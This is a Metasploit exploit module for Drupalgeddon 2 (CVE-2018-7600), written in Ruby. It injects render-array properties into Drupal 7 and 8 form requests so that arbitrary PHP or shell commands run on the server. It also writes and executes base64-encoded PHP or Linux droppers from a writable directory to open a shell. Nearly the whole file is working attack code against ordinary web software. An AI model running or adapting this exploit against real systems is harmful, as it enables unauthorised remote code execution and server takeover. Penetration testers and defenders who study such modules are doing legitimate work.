## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient # XXX: CmdStager can't handle badchars include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection', 'Description' => %q{ This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. }, 'Author' => [ 'Jasper Mattsson', # Vulnerability discovery 'a2u', # Proof of concept (Drupal 8.x) 'Nixawk', # Proof of concept (Drupal 8.x) 'FireFart', # Proof of concept (Drupal 7.x) 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2018-7600'], ['URL', 'https://www.drupal.org/sa-core-2018-002'], ['URL', 'https://greysec.net/showthread.php?tid=2912'], ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'], ['URL', 'https://github.com/a2u/CVE-2018-7600'], ['URL', 'https://github.com/nixawk/labs/issues/19'], ['URL', 'https://github.com/FireFart/CVE-2018-7600'], ['AKA', 'SA-CORE-2018-002'], ['AKA', 'Drupalgeddon 2'] ], 'DisclosureDate' => 'Mar 28 2018', 'License' => MSF_LICENSE, 'Platform' => ['php', 'unix', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Payload' => {'BadChars' => '&>\''}, # XXX: Using "x" in Gem::Version::new isn't technically appropriate 'Targets' => [ # # Automatic targets (PHP, cmd/unix, native) # ['Automatic (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_memory ], ['Automatic (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_dropper ], ['Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory ], ['Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper ], # # Drupal 7.x targets (PHP, cmd/unix, native) # ['Drupal 7.x (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Version' => Gem::Version.new('7.x'), 'Type' => :php_memory ], ['Drupal 7.x (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Version' => Gem::Version.new('7.x'), 'Type' => :php_dropper ], ['Drupal 7.x (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Version' => Gem::Version.new('7.x'), 'Type' => :unix_memory ], ['Drupal 7.x (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Version' => Gem::Version.new('7.x'), 'Type' => :linux_dropper ], # # Drupal 8.x targets (PHP, cmd/unix, native) # ['Drupal 8.x (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Version' => Gem::Version.new('8.x'), 'Type' => :php_memory ], ['Drupal 8.x (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Version' => Gem::Version.new('8.x'), 'Type' => :php_dropper ], ['Drupal 8.x (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Version' => Gem::Version.new('8.x'), 'Type' => :unix_memory ], ['Drupal 8.x (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Version' => Gem::Version.new('8.x'), 'Type' => :linux_dropper ] ], 'DefaultTarget' => 0, # Automatic (PHP In-Memory) 'DefaultOptions' => {'WfsDelay' => 2} )) register_options([ OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']), OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']), OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false]) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp']) ]) end def check checkcode = CheckCode::Safe if drupal_version print_status("Drupal #{@version} targeted at #{full_uri}") checkcode = CheckCode::Detected else print_error('Could not determine Drupal version to target') return CheckCode::Unknown end if drupal_unpatched? print_good('Drupal appears unpatched in CHANGELOG.txt') checkcode = CheckCode::Appears end token = random_crap res = execute_command(token, func: 'printf') if res && res.body.start_with?(token) checkcode = CheckCode::Vulnerable end checkcode end def exploit unless check == CheckCode::Vulnerable || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end if datastore['PAYLOAD'] == 'cmd/unix/generic' print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic') # XXX: Naughty datastore modification datastore['DUMP_OUTPUT'] = true end # NOTE: assert() is attempted first, then PHP_FUNC if that fails case target['Type'] when :php_memory execute_command(payload.encoded, func: 'assert') sleep(wfs_delay) return if session_created? # XXX: This will spawn a *very* obvious process execute_command("php -r '#{payload.encoded}'") when :unix_memory execute_command(payload.encoded) when :php_dropper, :linux_dropper dropper_assert sleep(wfs_delay) return if session_created? dropper_exec end end def dropper_assert php_file = Pathname.new( "#{datastore['WritableDir']}/#{random_crap}.php" ).cleanpath # Return the PHP payload or a PHP binary dropper dropper = get_write_exec_payload( writable_path: datastore['WritableDir'], unlink_self: true # Worth a shot ) # Encode away potential badchars with Base64 dropper = Rex::Text.encode_base64(dropper) # Stage 1 decodes the PHP and writes it to disk stage1 = %Q{ file_put_contents("#{php_file}", base64_decode("#{dropper}")); } # Stage 2 executes said PHP in-process stage2 = %Q{ include_once("#{php_file}"); } # :unlink_self may not work, so let's make sure register_file_for_cleanup(php_file) # Hopefully pop our shell with assert() execute_command(stage1.strip, func: 'assert') execute_command(stage2.strip, func: 'assert') end def dropper_exec php_file = "#{random_crap}.php" tmp_file = Pathname.new( "#{datastore['WritableDir']}/#{php_file}" ).cleanpath # Return the PHP payload or a PHP binary dropper dropper = get_write_exec_payload( writable_path: datastore['WritableDir'], unlink_self: true # Worth a shot ) # Encode away potential badchars with Base64 dropper = Rex::Text.encode_base64(dropper) # :unlink_self may not work, so let's make sure register_file_for_cleanup(php_file) # Write the payload or dropper to disk (!) # NOTE: Analysis indicates > is a badchar for 8.x execute_command("echo #{dropper} | base64 -d | tee #{php_file}") # Attempt in-process execution of our PHP script send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, php_file) ) sleep(wfs_delay) return if session_created? # Try to get a shell with PHP CLI execute_command("php #{php_file}") sleep(wfs_delay) return if session_created? register_file_for_cleanup(tmp_file) # Fall back on our temp file execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}") execute_command("php #{tmp_file}") end def execute_command(cmd, opts = {}) func = opts[:func] || datastore['PHP_FUNC'] || 'passthru' vprint_status("Executing with #{func}(): #{cmd}") res = case @version.to_s when '7.x' exploit_drupal7(func, cmd) when '8.x' exploit_drupal8(func, cmd) end if res && res.code != 200 print_error("Unexpected reply: #{res.inspect}") return end if res && datastore['DUMP_OUTPUT'] print_line(res.body) end res end def drupal_version if target['Version'] @version = target['Version'] return @version end res = send_request_cgi( 'method' => 'GET', 'uri' => target_uri.path ) return unless res && res.code == 200 # Check for an X-Generator header @version = case res.headers['X-Generator'] when /Drupal 7/ Gem::Version.new('7.x') when /Drupal 8/ Gem::Version.new('8.x') end return @version if @version # Check for a <meta> tag generator = res.get_html_document.at( '//meta[@name = "Generator"]/@content' ) return unless generator @version = case generator.value when /Drupal 7/ Gem::Version.new('7.x') when /Drupal 8/ Gem::Version.new('8.x') end end def drupal_unpatched? unpatched = true # Check for patch level in CHANGELOG.txt uri = case @version.to_s when '7.x' normalize_uri(target_uri.path, 'CHANGELOG.txt') when '8.x' normalize_uri(target_uri.path, 'core/CHANGELOG.txt') end res = send_request_cgi( 'method' => 'GET', 'uri' => uri ) return unless res && res.code == 200 if res.body.include?('SA-CORE-2018-002') unpatched = false end unpatched end def exploit_drupal7(func, code) vars_get = { 'q' => 'user/password', 'name[#post_render][]' => func, 'name[#markup]' => code, 'name[#type]' => 'markup' } vars_post = { 'form_id' => 'user_pass', '_triggering_element_name' => 'name' } res = send_request_cgi( 'method' => 'POST', 'uri' => target_uri.path, 'vars_get' => vars_get, 'vars_post' => vars_post ) return res unless res && res.code == 200 form_build_id = res.get_html_document.at( '//input[@name = "form_build_id"]/@value' ) return res unless form_build_id vars_get = { 'q' => "file/ajax/name/#value/#{form_build_id.value}" } vars_post = { 'form_build_id' => form_build_id.value } send_request_cgi( 'method' => 'POST', 'uri' => target_uri.path, 'vars_get' => vars_get, 'vars_post' => vars_post ) end def exploit_drupal8(func, code) # Clean URLs are enabled by default and "can't" be disabled uri = normalize_uri(target_uri.path, 'user/register') vars_get = { 'element_parents' => 'account/mail/#value', 'ajax_form' => 1, '_wrapper_format' => 'drupal_ajax' } vars_post = { 'form_id' => 'user_register_form', '_drupal_ajax' => 1, 'mail[#type]' => 'markup', 'mail[#post_render][]' => func, 'mail[#markup]' => code } send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_get' => vars_get, 'vars_post' => vars_post ) end def random_crap Rex::Text.rand_text_alphanumeric(8..42) end end